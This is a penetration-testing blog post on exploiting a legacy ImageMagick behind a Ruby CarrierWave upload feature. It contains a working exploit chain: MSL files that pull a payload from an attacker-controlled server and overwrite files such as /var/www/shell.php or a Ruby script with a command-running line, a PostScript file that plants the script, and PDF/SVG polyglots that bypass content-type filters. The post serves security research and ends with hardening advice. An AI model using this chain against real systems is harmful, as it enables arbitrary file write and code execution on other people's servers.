Playing with ImageTragick like it's 2016

Rédigé par Alexis Danizan , Clément Amic - 28/05/2021 - dans Exploit , Pentest - Téléchargement
You probably already have encountered document converting features that deal with ImageMagick during engagements but for some reason you were not able to exploit them. This article will mention some techniques that could be used when an older version of ImageMagick is targeted.

Spoiler alert: this is not new.

ImageMagick1 is an image manipulation tool that can read and write images in a lot of formats. Several dangerous features and vulnerabilities were previously found on ImageMagick and were fixed over time. These issues were unveiled by two interesting articles:

  • ImageTragick2 during 2016, that details a set of vulnerabilities, including command injections in URL manipulations, and features that allow arbitrary file read and write.
  • A shell injection on the PDF file format found by InsertScript3 and disclosed at the end of 2020.

On this blog post, we will focus on the latest ImageMagick version available on the Debian Buster repositories4. At the time this article is written, the available version is:

Version: ImageMagick 6.9.10-23 Q16 x86_64 20190101 https://imagemagick.org
Copyright: © 1999-2019 ImageMagick Studio LLC

This legacy version, that can be easily installed, is considered deprecated as some features are not disabled, even if the command injection vulnerabilities have been fixed. It should be noted that we were not able to exploit the PDF command injection on ImageMagick legacy as it seems the PDF authentication feature was broken on this version, as stated in the InsertScript's article3.

We will discuss here in which context some harmful features can still be exploited, and we will give an implementation example that uses the aforementioned deprecated version.

Context

Policies

ImageMagick divides different file formats in coders that can be disabled in a policy.xml file. As documented in the ImageTragick2 website, the policy.xml file should be modified in order to prevent vulnerable coders such as MSL.

However, the default policy.xml file shipped with ImageMagick is not always well configured. For example, the one distributed on the Debian package imagemagick-6-common only disables the Ghostscript coders:

<policymap>
  <!-- <policy domain="resource" name="temporary-path" value="/tmp"/> -->
[...]
  <!-- use curl -->
  <policy domain="delegate" rights="none" pattern="URL" />
  <policy domain="delegate" rights="none" pattern="HTTPS" />
  <policy domain="delegate" rights="none" pattern="HTTP" />
  <!-- in order to avoid to get image with password text -->
  <policy domain="path" rights="none" pattern="@*"/>
  <!-- disable ghostscript format types -->
  <policy domain="coder" rights="none" pattern="PS" />
  <policy domain="coder" rights="none" pattern="PS2" />
  <policy domain="coder" rights="none" pattern="PS3" />
  <policy domain="coder" rights="none" pattern="EPS" />
  <policy domain="coder" rights="none" pattern="PDF" />
  <policy domain="coder" rights="none" pattern="XPS" />
</policymap>

Invoking ImageMagick

Files are usually provided to the convert command-line tool of ImageMagick. For example, the following command-line asks ImageMagick to convert an image file to the PDF format:

$ convert sample.png result.pdf

One could notice the default policy will never allow such operations as the PDF coder is disabled. Let's say it is now enabled and the line is removed from the policy.xml file for convenience:

  <policy domain="coder" rights="none" pattern="EPS" />
  <!-- <policy domain="coder" rights="none" pattern="PDF" /> -->
  <policy domain="coder" rights="none" pattern="XPS" />

File formats

ImageMagick recognizes the format (and the coder) associated to each provided file according to the magic bytes contained on the file. For example, the following magic bytes are defined for the PDF file format:

ImageMagick also infers the file type from the file name's extension. Let's say we have a filename that has the pdf extension, providing it to the convert command-line tool will force the PDF coder, even if its content is not valid:

$ cat sample.pdf
Not a pdf file

$ cp sample.pdf sample

$ convert sample.pdf out.png
Error: /stackunderflow in --not--
[...]
convert-im6.q16: FailedToExecuteCommand `'gs' -sstdout=%stderr -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 '-sDEVICE=pngalpha' -dTextAlphaBits=4 -dGraphicsAlphaBits=4 '-r72x72'  '-sOutputFile=/tmp/magick-67716IXHzhgRa5Ie%d' '-f/tmp/magick-6771qwKMBsxIbdmC' '-f/tmp/magick-6771jRvPSQyklnZZ'' (1) @ error/pdf.c/InvokePDFDelegate/291.

$ convert ./sample out.png 
convert-im6.q16: no decode delegate for this image format `' @ error/constitute.c/ReadImage/560.
[...]

That means, filtering the provided files should not only be done by checking the file content of each provided file but also by ensuring their file name's extension matches the one related to the recognized file type.

However, only relying on libraries to infer the file type from the file content and not fixing the ImageMagick's policy is not sufficient as polyglot files could be used to bypass filters.

Ruby as a case study

CarrierWave5, which is a file upload manager for Ruby applications, can use ImageMagick in order to manipulate images when its MiniMagick implementation is included:

# docsuploader.rb
class DocsUploader < CarrierWave::Uploader::Base
  include CarrierWave::MiniMagick

  def extension_allowlist
    %w[jpg jpeg png webp pdf]
  end

  def content_type_allowlist
    /^(?:image\/|application\/pdf)/
  end

  process convert: 'png'

  def filename
    super.chomp(File.extname(super)) + '.png' if original_filename.present?
  end
end

This implementation calls the convert command-line tool of ImageMagick in order to convert each uploaded file to an image.

In order to filter the allowed file types before they are provided to the convert tool, the predicate content_type_allowlist is used. It internally uses the MimeMagic library to infer the file type from the file content.

Several issues could be identified on the declared DocsUploader class:

  • It is possible to provide a file content that matches a specific file type and in the same time a file extension that matches another one.
  • The provided file extension will be forwarded to the convert command-line tool.
  • SVG files are not denied.

This can be verified by creating the following RSpec6 (Ruby Specification) file that simulates file uploads:

require 'carrierwave/test/matchers'
require './docsuploader' 

describe DocsUploader do
  include CarrierWave::Test::Matchers

  let(:user) { double('user') }
  let(:uploader) { DocsUploader.new(user, :docs) }
  let(:path_to_file) { "./test.png" }

  before do
    DocsUploader.enable_processing = true
    File.open(path_to_file) { |f| uploader.store!(f) }
  end

  after do
    DocsUploader.enable_processing = false
    uploader.remove!
  end

  it "has the correct format" do
    expect(uploader).to be_format('png')
  end
end

And by creating the file test.png which contains an SVG file:

<?xml version="1.0" standalone="no"?>
<svg height="500" width="500" version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<image xlink:href="/does/not/exist" />
</svg>

Executing the RSpec example confirms SVG files are not forbidden even if the provided file extension is png:

$ rspec tests.rb 

[...]
     CarrierWave::ProcessingError:
       translation missing: en.errors.messages.mini_magick_processing_error
[...]
     # MiniMagick::Error:
     #   `convert /tmp/1620672060-227366501931028-0001-5289/test.png -auto-orient /tmp/image_processing20210510-10938-1z02iw6.png` failed with error:
     #   convert-im6.q16: unable to open image `/does/not/exist': No such file or directory @ error/blob.c/OpenBlob/2874.
     #   convert-im6.q16: no decode delegate for this image format `' @ error/constitute.c/ReadImage/560.
     #   convert-im6.q16: non-conforming drawing primitive definition `image' @ error/draw.c/RenderMVGContent/4301.
[...]
Failed examples:
rspec ./tests.rb:21 # DocsUploader has the correct format

Arbitrary file write

Initial proof of concept

As discussed on the ImageTragick website1, if the MSL (Magick Scripting Language) coder is enabled, it is possible to obtain an arbitrary file write by using read and write directives and by using the GIF file format:

<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="http://my-server.dn/image.gif" />
<write filename="/var/www/shell.php" />
</image>

If the file already exists, its content will be replaced but the file's permissions will be kept.

However, some conditions are required in order to exploit it:

  • The application that will use or execute the overwritten file should accept junk lines as the GIF header will also be written.
  • The path of the MSL file should be known as the msl coder can only be forced by adding the msl: prefix to the file path of an existing file.

If the file path is known, the msl: coder can be invoked from an SVG image file. By default, ImageMagick reads each SVG file and first converts it to its own file format, which is MVG (Magick Vector Graphics). Moreover, it parses each xlink:href xml attribute and converts it to MVG image directives.

For example, if we provide the following SVG file:

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
 
<svg width="720px" height="1080px" version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<image xlink:href="msl:/tmp/msl.txt" />
</svg>

ImageMagick will convert it to the following MVG file:

push graphic-context
	compliance "SVG"
	fill "black"
	fill-opacity 1
	stroke "none"
	stroke-width 1
	stroke-opacity 1
	fill-rule nonzero
	viewbox 0 0 720 1080
	affine 1 0 0 1 0 0
	push graphic-context
		image Over 0,0 720,1080 "msl:/tmp/msl.txt"
	pop graphic-context
pop graphic-context

Once converted, it will load it and trigger the MSL coder which will create the file /var/www/shell.php.

Controlled output

Let's say we want to replace a Ruby script or a binary file which is stored on the application's folder and is periodically executed. The issue with many ImageMagick output formats is the header written at the beginning of the file.

For example, if we provide a file starting with a GIF header to ruby, it will refuse to interpret the entire file:

$ xxd 1.gif 
00000000: 4749 4638 3961 0100 0100 8000 00ff ffff  GIF89a..........
00000010: ffff ff21 f904 010a 0001 002c 0000 0000  ...!.......,....
00000020: 0100 0100 0002 024c 0100 3b              .......L..;

$ cat 1.gif sample.rb > test.rb

$ ruby test.rb
test.rb:1: Invalid char `\x01' in expression

However, we noticed an interesting file format while reading the ImageMagick's documentation7:

RGB: Raw red, green, and blue samples. Use -size and -depth to specify the image width, height, and depth. To specify a single precision floating-point format, use -define quantum:format=floating-point. Set the depth to 32 for single precision floats, 64 for double precision, and 16 for half-precision.

That means, if we can force the output coder to RGB, we could make ImageMagick write only the RGB pixels and thus, only the RGB bytes to the output file.

As ImageMagick requires a valid image in read mode that contains size and pixels information, we decided to use the BMP format. In order to generate convenient files, we slightly modified the script txt2bmp.py taken from https://github.com/Hamz-a/txt2bmp:

  • We changed the color pixels order (BGR to RGB) and the pixels order stored in the matrix.
  • We added a parameter for the character used for the padding part of the output file, and we removed the padding part added at the beginning of the file content.
  • We added the support for binary files.

For example, let's say we want to replace the Ruby file /opt/myapp/app.rb. We first generate our BMP image file:

$ cat file.rb
Kernel.open("|id>>/tmp/pwned")

$ python3 magick_rgb.py -f file.rb -b image.bmp
Saved as bitmap in: image.bmp

$ xxd image.bmp

00000000: 424d 5a00 0000 0000 0000 3600 0000 2800  BMZ.......6...(.
00000010: 0000 0400 0000 0300 0000 0100 1800 0000  ................
00000020: 0000 2400 0000 c30e 0000 c30e 0000 0000  ..$.............
00000030: 0000 0000 0000 656e 7729 2264 2020 0a20  ......enw)"d  . 
00000040: 2020 697c 223e 3e64 6d74 2f70 2f70 7265    i|">>dmt/p/pre
00000050: 4b6c 656e 706f 2e28 6e65                 Klenpo.(ne

We then create the following msl script that forces the output coder to RGB:

<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="http://my-server.dn/image.bmp" />
<write filename="rgb:/opt/myapp/app.rb" />
</image>

Once the MSL file is provided to ImageMagick, the file is overwritten with a fully controlled content:

$ xxd /opt/myapp/app.rb

00000000: 4b65 726e 656c 2e6f 7065 6e28 227c 6964  Kernel.open("|id
00000010: 3e3e 2f74 6d70 2f70 776e 6564 2229 0a20  >>/tmp/pwned"). 
00000020: 2020 2020 

Controlled MSL file path

Upload features implemented on web applications usually store the uploaded files at a location that cannot be predicted. In that case, it is not possible to upload an MSL file at a known location.

If the SVG file extension is allowed by the targeted application, is provided to ImageMagick, and if the filename can be predicted, an SVG/MSL polyglot file could be created as described in the InsertScript's blog post3 and thus, controlling the file path is not needed.

However, let consider we are targeting the Ruby code just described before where the SVG extension is forbidden. If the PDF coder is allowed on the policy and if the pdf extension can be provided to ImageMagick, writing at a known location may be allowed by using a PostScript file.

PDF coder and Ghostscript

ImageMagick relies on Ghostscript in order to manipulate PDF and PostScript files. Indeed, when the PDF coder is selected, the file is forwarded to Ghostscript:

The ps delegate declared in delegates.xml calls the gs command-line utility. When the gs command-line is invoked, Ghostscript tries to infer the file type from the file content. The parser is quite permissive, it accepts a PostScript header that starts with a white-space character:

$ cat file.pdf
 %!
(I'm a PS file!\n) print
quit

$ convert -verbose test.pdf out.png 
'gs' -sstdout=%stderr -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 '-sDEVICE=pngalpha' -dTextAlphaBits=4 -dGraphicsAlphaBits=4 '-r72x72'  '-sOutputFile=/tmp/magick-S9eUIBLTg3xGO-uIv6CVbHWTG_v3aNmb%d' '-f/tmp/magick-GgoTggFwtv2GfNfVxqOdCgLk1spYoHE8' '-f/tmp/magick-Zf--hxaZ-fx7xwGpaCCp1HNbIZj8OTR7'

I'm a PS file!
convert-im6.q16: no images defined `out.png' @ error/convert.c/ConvertImageCommand/3229.

As the gs command-line is invoked in safe mode (which is enabled by default since the Ghostscript version 9.50), only the files stored on the /tmp folder can be manipulated using PostScript files.

This allows us to create an MSL file at a known location:

 %!
/outf (/tmp/msl.txt) (w) file def
outf (<?xml version="1.0" encoding="UTF-8"?><image><read filename='http://my-server.dn/image.bmp'/><write filename='rgb:/opt/myapp/app.rb' /></image>) writestring
outf closefile 
showpage
quit

Mime parsers

In order to provide it to ImageMagick and Ghostscript through the Carrierwave uploader, we need to make sure the file is recognized and allowed by the web application.

Some parsers are quite permissive as they recognize PDF files even if the expected magic bytes are not located at the beginning of the file:

#testmime.rb

require "mimemagic"
require "marcel"

file_path = ARGV[0]

print "[MimeMagic]  content-type: #{MimeMagic.by_magic(File.open(file_path))}\n"
print "[Marcel]     content-type: #{Marcel::MimeType.for Pathname.new(file_path)}\n"
$ cat sample.bin
 %!
(I'm a PS file!\n) print
quit
%PDF-1.3

$ ruby testmime.rb sample.bin 
[MimeMagic]  content-type: application/pdf
[Marcel]     content-type: application/pdf

In that case, if the content-type application/pdf is allowed on the Carrierwave uploader, polyglot files can be created in order to bypass such filters.

For example, let's say SVG files are now forbidden on the Carrierwave uploader:

# docsuploader.rb
class DocsUploader < CarrierWave::Uploader::Base
#[...]
  def content_type_allowlist
    /^(?:image\/(?:jpeg|png|wepb))|application\/pdf)$/
  end
#[...]
end

If we now provide an SVG file, it will be rejected (the same RSpec file as described before is used here):

$ rspec tests.rb
[...]
     CarrierWave::IntegrityError:
       You are not allowed to upload  image/svg+xml files
[...]

However, creating a simple PDF/SVG polyglot file still allows us to provide an SVG file to ImageMagick:

$ cat test.png
<SVG height="1" width="1"><!--
%PDF-1.3
-->
<image xlink:href="/does/not/exist" />
</SVG>

$ rspec tests.rb
[...]
     # --- Caused by: ---
     # MiniMagick::Error:
     #   `convert /tmp/1620740403-993415681373467-0001-8388/test.png -auto-orient /tmp/image_processing20210511-4893-1ig0bbw.png` failed with error:
     #   convert-im6.q16: unable to open image `/does/not/exist': No such file or directory @ error/blob.c/OpenBlob/2874.
     #   convert-im6.q16: no decode delegate for this image format `' @ error/constitute.c/ReadImage/560.
     #   convert-im6.q16: non-conforming drawing primitive definition `image' @ error/draw.c/RenderMVGContent/4301.
[...]

Putting things together

Finally, it is possible to obtain an arbitrary file write on the Ruby application by combining all the files formats we mentioned before:

  • image.bmp available on a controlled server:
$ cat file.rb
Kernel.open("|id>>/tmp/pwned")

$ python3 magick_rgb.py -f file.rb -b image.bmp
Saved as bitmap in: image.bmp

$ xxd image.bmp

00000000: 424d 5a00 0000 0000 0000 3600 0000 2800  BMZ.......6...(.
00000010: 0000 0400 0000 0300 0000 0100 1800 0000  ................
00000020: 0000 2400 0000 c30e 0000 c30e 0000 0000  ..$.............
00000030: 0000 0000 0000 656e 7729 2264 2020 0a20  ......enw)"d  . 
00000040: 2020 697c 223e 3e64 6d74 2f70 2f70 7265    i|">>dmt/p/pre
00000050: 4b6c 656e 706f 2e28 6e65                 Klenpo.(ne

$ python3 -m http.server 8080
  • write_msl.pdf: a simple PostScript/PDF file:
 %!
/outf (/tmp/msl.txt) (w) file def
outf (<?xml version="1.0" encoding="UTF-8"?><image><read filename='http://127.0.0.1:8080/image.bmp'/><write filename='rgb:/opt/myapp/app.rb' /></image>) writestring
outf closefile 
showpage
quit
%PDF-1.3
  • trigger_msl.png: a simple SVG/PDF file:
<SVG height="1" width="1"><!--
%PDF-1.3
-->
<image xlink:href="msl:/tmp/msl.txt" />
</SVG>

Simulating the two consecutive file uploads will trigger the arbitrary file write:

require 'carrierwave/test/matchers'
require './docsuploader'

describe DocsUploader do
  include CarrierWave::Test::Matchers

  let(:model) { double('sample') }
  let(:uploader) { DocsUploader.new(model, :docs) }
  
  let(:file_paths) {[
    "write_msl.pdf", # simple PS/PDF
    "trigger_msl.png" # simple SVG/PDF polyglot
  ]}

  before do
    DocsUploader.enable_processing = true
    file_paths.map { |p| File.open(p) }
      .each { |f| uploader.store!(f) }
  end

  after do
    DocsUploader.enable_processing = false
    uploader.remove!
  end

  it "has the correct format" do
    expect(uploader).to be_format('png')
  end
end
$ ls -lah /tmp/msl.txt
ls: cannot access '/tmp/msl.txt': No such file or directory

$ cat /opt/myapp/app.rb
print "Overwrite it!"

$ rspec tests.rb
[...]
    # ------------------
     # --- Caused by: ---
     # MiniMagick::Error:
     #   `convert /tmp/1620743636-912225227625237-0002-4573/trigger_msl.png -auto-orient /tmp/image_processing20210511-5503-10oyif3.png` failed with error:
     #   /var/lib/gems/2.5.0/gems/mini_magick-4.11.0/lib/mini_magick/shell.rb:17:in `run'
[...]

$ cat /tmp/msl.txt
<?xml version="1.0" encoding="UTF-8"?><image><read filename='http://127.0.0.1:8080/image.bmp'/><write filename='rgb:/opt/myapp/app.rb' /></image>

$ cat /opt/myapp/app.rb 
Kernel.open("|id>>/tmp/pwned")
     

Finally, the file /opt/myapp/app.rb has been replaced by our controlled content. If the file was periodically executed, we would have been able to execute arbitrary commands on the underlying system.

Conclusion

In conclusion, we obtained an arbitrary file write from an upload feature that seemed safe at first glance. These different exploitation methods allow to highlight that the configuration of some tools needs a particular attention if they are used in production.

In order to prevent this kind of vulnerabilities, one should take care of:

  • Content type filters. When processing files it is important to keep in mind that it is possible to bypass filters with some tricks or polyglot files.
  • Dependencies that are shipped with operating systems. Packaged versions are not always up to date and these packages are not always safe to use with their default settings.
  • File converters. They should be sandboxed in order to reduce the risk of newer vulnerabilities.

Related research

Another blog post8 was published after our research and our engagements and was mentioning almost the same convert operations in order to write arbitrary files. However, it shows an interesting way of reading files using the grey coder that we were not aware of.